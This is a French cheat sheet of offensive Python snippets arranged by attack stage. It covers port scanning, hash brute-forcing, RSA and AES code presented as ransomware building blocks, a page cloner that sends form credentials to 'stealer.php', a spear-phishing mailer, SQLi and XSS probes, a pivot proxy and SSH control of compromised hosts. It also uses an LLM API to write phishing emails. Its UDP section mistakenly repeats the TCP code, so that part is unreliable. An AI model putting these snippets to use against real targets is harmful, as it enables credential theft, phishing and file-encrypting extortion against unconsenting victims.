🔧 FICHE TECHNIQUE : PYTHON POUR LA CYBERSÉCURITÉ (FOCUS CODE)

🛰️ 1. Reconnaissance – Scan réseau & Web scraping

🔍 Scanner de ports (TCP/UDP)

But : vérifier si un port TCP est ouvert sur une IP donnée.
Utilité : identifier les services actifs sur la cible (HTTP, SSH...).

```python
import socket

def scan_tcp(ip, port):
    s = socket.socket()
    s.settimeout(1)
    try:
        s.connect((ip, port))
        print(f"[+] Port {port} ouvert")
        s.close()
    except:
        pass
```

📡 Scan UDP + détection ICMP

But : envoyer un paquet UDP et voir si on reçoit une réponse.
Utilité : tester si des services UDP sont exposés (DNS, SNMP…).

```python
import socket

def scan_tcp(ip, port):
    s = socket.socket()
    s.settimeout(1)
    try:
        s.connect((ip, port))
        print(f"[+] Port {port} ouvert")
        s.close()
    except:
        pass
```

🗒️ Web scraping (HTML)

But : extraire tous les liens href d'une page HTML.
Utilité : cartographier le site cible ou récupérer des fichiers visibles.

```python
import requests
from bs4 import BeautifulSoup

def scrap_page(url):
    headers = {"User-Agent": "Mozilla/5.0"}
    r = requests.get(url, headers=headers)
    soup = BeautifulSoup(r.text, 'html.parser')
    return [a['href'] for a in soup.find_all('a', href=True)]
```

🧨 2. Armement – Force brute & ransomware

🔑 Force brute / dictionnaire

But : tester un mot de passe en comparant des hash SHA256.
Utilité : casser un hash extrait d'une base (/etc/shadow, dump SQL…).

```python
from hashlib import sha256

def brute_force(hash_target, wordlist):
    for word in open(wordlist):
        hashed = sha256(word.strip().encode()).hexdigest()
        if hashed == hash_target:
            print(f"Mot de passe trouvé : {word.strip()}")
            return
```

🦠 Génération des clefs RSA

But : créer une paire de clefs RSA pour chiffrer/déchiffrer.
Utilité : base d'un ransomware ou communication chiffrée.

```python
from Crypto.PublicKey import RSA

key = RSA.generate(2048)
with open("key.private", "wb") as priv:
    priv.write(key.export_key())
with open("key.public", "wb") as pub:
    pub.write(key.publickey().export_key())
```

🔐 Chiffrement AES

But : chiffrer un fichier avec AES et stocker la sortie .enc.
Utilité : partie utile pour simuler ou réaliser un ransomware.

```python
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes

def encrypt_file(file_path, key):
    cipher = AES.new(key, AES.MODE_EAX)
    with open(file_path, 'rb') as f:
        data = f.read()
    ciphertext, tag = cipher.encrypt_and_digest(data)
    with open(file_path + ".enc", 'wb') as f:
        f.write(cipher.nonce + tag + ciphertext)
```

📨 3. Livraison – Phishing

📥 Clonage de page HTML

But : cloner une page Web et modifier l'action des formulaires.
Utilité : faire du phishing en redirigeant les identifiants vers ton serveur.

```python
import requests

def clone_page(url, output="clone.html"):
    html = requests.get(url).text
    with open(output, "w") as f:
        f.write(html.replace("action=", "action='stealer.php'"))
```

📧 Envoi d'emails (spear phishing)

But : envoyer un mail HTML (avec lien malveillant).
Utilité : campagne de phishing ciblée automatisée (spear phishing).

```python
import smtplib
from email.mime.text import MIMEText

def send_phish(to, subject, body):
    msg = MIMEText(body, 'html')
    msg['Subject'] = subject
    msg['From'] = "attacker@example.com"
    msg['To'] = to
    with smtplib.SMTP('smtp.example.com') as s:
        s.login("user", "pass")
        s.send_message(msg)
```

💥 4. Exploitation – Injection SQL, XSS...

🥓 SQL Injection automatisée (GET)

But : injecter des payloads SQL et analyser la réponse.
Utilité : automatiser la détection de vulnérabilité SQLi.

```python
import requests

def test_sqli(url, payloads):
    for p in payloads:
        r = requests.get(f"{url}?id={p}")
        if "Erreur SQL" in r.text or r.status_code == 500:
            print(f"Injection possible avec : {p}")
```

🧬 XSS test (réfléchi)

But : injecter un script dans l'URL et voir s'il est reflété.
Utilité : détecter une vulnérabilité XSS reflected.

```python
def test_xss(url):
    payload = "<script>alert('xss')</script>"
    r = requests.get(f"{url}?search={payload}")
    if payload in r.text:
        print("XSS Réfléchi détecté")
```

🛡️ 5. Maintien & Évasion

🔀 TCP Proxy minimal

But : relayer un flux TCP entre une victime et un serveur.
Utilité : écoute intermédiaire ou proxy pivot pour traverser un réseau.

```
import socket

def relay(client_socket, server_address):
    server = socket.create_connection(server_address)
    while True:
        req = client_socket.recv(4096)
        if not req: break
        server.sendall(req)
        res = server.recv(4096)
        client_socket.sendall(res)
```

🔒 SSH Tunneling (Paramiko)

But : se connecter à un serveur SSH et exécuter une commande.
Utilité : contrôle distant discret de la machine compromise.

```
import paramiko

def ssh_command(ip, port, user, passwd, cmd):
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    client.connect(ip, port=port, username=user, password=passwd)
    stdin, stdout, stderr = client.exec_command(cmd)
    print(stdout.read().decode())
```

🧬 6. IA & Attaques Générées

📤 Génération automatique (OpenAI API)

But : demander à un LLM de générer du texte (email, article, etc.)
Utilité : générer automatiquement des emails de phishing crédibles.

```
import openai

openai.api_key = "YOUR_KEY"

def gen_phishing(prompt):
    r = openai.ChatCompletion.create(
        model="gpt-3.5-turbo",
        messages=[{"role": "user", "content": prompt}]
    )
    return r["choices"][0]["message"]["content"]
```